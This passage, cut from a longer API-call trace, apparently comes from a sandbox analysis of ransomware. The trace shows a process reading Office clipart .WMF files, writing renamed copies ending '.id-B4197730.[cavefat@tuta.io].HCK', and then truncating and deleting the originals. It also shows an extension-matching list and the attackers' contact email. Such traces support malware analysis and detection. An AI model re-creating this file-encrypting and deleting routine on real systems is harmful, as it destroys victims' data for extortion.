lpString2=".WMF") returned 1 [0178.335] lstrlenW (lpString=".rar") returned 4 [0178.335] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString=".bz2") returned 4 [0178.335] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString=".7z") returned 3 [0178.335] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.335] lstrlenW (lpString=".dbf") returned 4 [0178.335] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.335] lstrlenW (lpString=".1cd") returned 4 [0178.335] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00494_.WMF") returned 68 [0178.336] lstrlenW (lpString=".jpg") returned 4 [0178.336] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.336] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.336] lstrlenW (lpString="NA00530_.WMF") returned 12 [0178.336] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.337] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=18300) returned 1 [0178.337] CloseHandle (hObject=0x370) returned 1 [0178.337] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf")) returned 0x220 [0178.340] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.344] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.344] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.346] GetLastError () returned 0x0 [0178.346] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x477c, lpOverlapped=0x0) returned 1 [0178.347] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x4780, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x4780, lpOverlapped=0x0) returned 1 [0178.348] ReadFile (in: hFile=0x2fc, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.348] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.348] SetEndOfFile (hFile=0x3a4) returned 1 [0178.351] CloseHandle (hObject=0x3a4) returned 1 [0178.352] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.352] SetEndOfFile (hFile=0x2fc) returned 1 [0178.353] CloseHandle (hObject=0x2fc) returned 1 [0178.354] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.354] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00530_.wmf")) returned 1 [0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.356] lstrlenW (lpString=".doc") returned 4 [0178.356] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.356] lstrlenW (lpString=".docx") returned 5 [0178.356] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.356] lstrlenW (lpString=".pdf") returned 4 [0178.356] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.356] lstrlenW (lpString=".xls") returned 4 [0178.356] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.356] lstrlenW (lpString=".xlsx") returned 5 [0178.356] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.356] lstrlenW (lpString=".ppt") returned 4 [0178.356] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.356] lstrlenW (lpString=".zip") returned 4 [0178.356] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.356] lstrlenW (lpString=".rar") returned 4 [0178.356] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.356] lstrlenW (lpString=".bz2") returned 4 [0178.356] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.356] lstrlenW (lpString=".7z") returned 3 [0178.356] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.356] lstrlenW (lpString=".dbf") returned 4 [0178.356] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.356] lstrlenW (lpString=".1cd") returned 4 [0178.356] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.356] lstrlenW (lpString=".jpg") returned 4 [0178.356] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.356] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.356] lstrlenW (lpString=".doc") returned 4 [0178.357] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.357] lstrlenW (lpString=".docx") returned 5 [0178.357] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.357] lstrlenW (lpString=".pdf") returned 4 [0178.357] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.357] lstrlenW (lpString=".xls") returned 4 [0178.357] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.357] lstrlenW (lpString=".xlsx") returned 5 [0178.357] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.357] lstrlenW (lpString=".ppt") returned 4 [0178.357] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.357] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.357] lstrlenW (lpString=".zip") returned 4 [0178.357] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.357] lstrlenW (lpString=".rar") returned 4 [0178.363] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.363] lstrlenW (lpString=".bz2") returned 4 [0178.363] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.363] lstrlenW (lpString=".7z") returned 3 [0178.363] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.363] lstrlenW (lpString=".dbf") returned 4 [0178.363] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.363] lstrlenW (lpString=".1cd") returned 4 [0178.363] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.363] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00530_.WMF") returned 68 [0178.363] lstrlenW (lpString=".jpg") returned 4 [0178.363] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.363] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.363] lstrlenW (lpString="NA00784_.WMF") returned 12 [0178.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.368] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=30296) returned 1 [0178.368] CloseHandle (hObject=0x2fc) returned 1 [0178.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf")) returned 0x220 [0178.369] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.370] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.370] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.374] GetLastError () returned 0x0 [0178.374] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x7658, lpOverlapped=0x0) returned 1 [0178.375] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0x7660, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0x7660, lpOverlapped=0x0) returned 1 [0178.376] ReadFile (in: hFile=0x300, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.376] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.377] SetEndOfFile (hFile=0x3a4) returned 1 [0178.378] CloseHandle (hObject=0x3a4) returned 1 [0178.380] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.380] SetEndOfFile (hFile=0x300) returned 1 [0178.381] CloseHandle (hObject=0x300) returned 1 [0178.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00784_.wmf")) returned 1 [0178.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.384] lstrlenW (lpString=".doc") returned 4 [0178.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString=".docx") returned 5 [0178.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.384] lstrlenW (lpString=".pdf") returned 4 [0178.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString=".xls") returned 4 [0178.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.384] lstrlenW (lpString=".xlsx") returned 5 [0178.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.384] lstrlenW (lpString=".ppt") returned 4 [0178.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.384] lstrlenW (lpString=".zip") returned 4 [0178.384] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.384] lstrlenW (lpString=".rar") returned 4 [0178.384] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString=".bz2") returned 4 [0178.384] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString=".7z") returned 3 [0178.384] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.384] lstrlenW (lpString=".dbf") returned 4 [0178.384] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.384] lstrlenW (lpString=".1cd") returned 4 [0178.384] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.384] lstrlenW (lpString=".jpg") returned 4 [0178.384] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.384] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.384] lstrlenW (lpString=".doc") returned 4 [0178.384] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString=".docx") returned 5 [0178.384] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.384] lstrlenW (lpString=".pdf") returned 4 [0178.384] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.384] lstrlenW (lpString=".xls") returned 4 [0178.384] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.384] lstrlenW (lpString=".xlsx") returned 5 [0178.384] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.384] lstrlenW (lpString=".ppt") returned 4 [0178.384] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.385] lstrlenW (lpString=".zip") returned 4 [0178.385] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.385] lstrlenW (lpString=".rar") returned 4 [0178.385] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.385] lstrlenW (lpString=".bz2") returned 4 [0178.385] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.385] lstrlenW (lpString=".7z") returned 3 [0178.385] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.385] lstrlenW (lpString=".dbf") returned 4 [0178.385] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.385] lstrlenW (lpString=".1cd") returned 4 [0178.385] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00784_.WMF") returned 68 [0178.385] lstrlenW (lpString=".jpg") returned 4 [0178.385] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.385] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.385] lstrlenW (lpString="NA00807_.WMF") returned 12 [0178.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.391] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310ff14 | out: lpFileSize=0x310ff14*=2980) returned 1 [0178.391] CloseHandle (hObject=0x2fc) returned 1 [0178.392] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf")) returned 0x220 [0178.395] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.398] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.398] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0178.402] GetLastError () returned 0x0 [0178.402] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0xba4, lpOverlapped=0x0) returned 1 [0178.404] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xbb0, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xbb0, lpOverlapped=0x0) returned 1 [0178.404] ReadFile (in: hFile=0x370, lpBuffer=0x3b21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x310fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesRead=0x310fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.404] WriteFile (in: hFile=0x3a4, lpBuffer=0x3b21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x310fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b21020*, lpNumberOfBytesWritten=0x310fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.405] SetEndOfFile (hFile=0x3a4) returned 1 [0178.484] CloseHandle (hObject=0x3a4) returned 1 [0178.485] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.485] SetEndOfFile (hFile=0x370) returned 1 [0178.488] CloseHandle (hObject=0x370) returned 1 [0178.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00807_.wmf")) returned 1 [0178.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.490] lstrlenW (lpString=".doc") returned 4 [0178.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.490] lstrlenW (lpString=".docx") returned 5 [0178.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.490] lstrlenW (lpString=".pdf") returned 4 [0178.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.490] lstrlenW (lpString=".xls") returned 4 [0178.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.490] lstrlenW (lpString=".xlsx") returned 5 [0178.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.490] lstrlenW (lpString=".ppt") returned 4 [0178.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.490] lstrlenW (lpString=".zip") returned 4 [0178.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.490] lstrlenW (lpString=".rar") returned 4 [0178.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.490] lstrlenW (lpString=".bz2") returned 4 [0178.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.490] lstrlenW (lpString=".7z") returned 3 [0178.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.490] lstrlenW (lpString=".dbf") returned 4 [0178.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.491] lstrlenW (lpString=".1cd") returned 4 [0178.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.491] lstrlenW (lpString=".jpg") returned 4 [0178.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.491] lstrlenW (lpString=".doc") returned 4 [0178.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString=".docx") returned 5 [0178.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0178.491] lstrlenW (lpString=".pdf") returned 4 [0178.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString=".xls") returned 4 [0178.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0178.491] lstrlenW (lpString=".xlsx") returned 5 [0178.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0178.491] lstrlenW (lpString=".ppt") returned 4 [0178.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 68 [0178.491] lstrlenW (lpString=".zip") returned 4 [0178.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0178.491] lstrlenW (lpString=".rar") returned 4 [0178.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString=".bz2") returned 4 [0178.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0178.491] lstrlenW (lpString=".7z") returned 3 [0178.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0178.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00807_.WMF") returned 